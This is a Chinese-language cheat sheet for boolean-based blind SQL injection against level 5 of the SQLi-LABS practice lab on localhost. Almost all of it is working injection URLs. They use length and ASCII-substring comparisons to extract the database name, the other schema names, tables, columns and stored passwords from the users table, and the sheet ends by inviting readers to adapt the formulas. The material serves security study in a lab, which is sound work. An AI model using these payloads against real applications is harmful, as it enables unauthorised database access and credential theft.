SQL布爾盲注-（針對SQLi-LABS Page-1(Basic Challenges)第五關）

庫操做

庫名長度

http://localhost/sqli/Less-5/?id=1'and (length(database())=10)--+

其餘庫長度

http://localhost/sqli/Less-5/?id=1'and (length((select schema_name from information_schema.schemata limit 0,1))=6)--+

求本庫名字符

http://localhost/sqli/Less-5/?id=1'and (ascii(substr(database(),1,1))>32)--+

求其餘庫名字符

http://localhost/sqli/Less-5/?id=1'and (ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>32)--+

表操做

表長度

http://localhost/sqli/Less-5/?id=1'and (length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=6)--+

第二個表長度

http://localhost/sqli/Less-5/?id=1'and (length((select table_name from information_schema.tables where table_schema=database() limit 2,1))=6)--+

第一個表名第一個字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>32)--+

第一個表名第二個字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>32)--+

第二個表名第一個字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>32)--+

第二個表名第二個字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))>32)--+

字段操做

求字段長度

http://localhost/sqli/Less-5/?id=1'and(length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1))=2)--+

求第二個字段長度

http://localhost/sqli/Less-5/?id=1'and(length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1))=2)--+

求第一個字段第一個字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))>32)--+

求第一個字段第二個字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1))>32)--+

求第二個字段第一個字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),1,1))>32)--+

求第二個字段第二個字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),2,1))>32)--+

數據操做

求第一個數據長度

http://localhost/sqli/Less-5/?id=1'and(length((select password from security.users limit 0,1))=32)--+

求第二個數據長度

http://localhost/sqli/Less-5/?id=1'and(length((select password from security.users limit 1,1))=32)--+

求第一個數據的第一個字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select password from security.users limit 0,1),1,1))>32)--+

求第一個數據的第二個字符

http://localhost/sqli/Less-5/?id=1'and(ascii(substr((select password from security.users limit 0,1),2,1))>32)--+

 

能夠根據以上信息總結公式進行改編套用。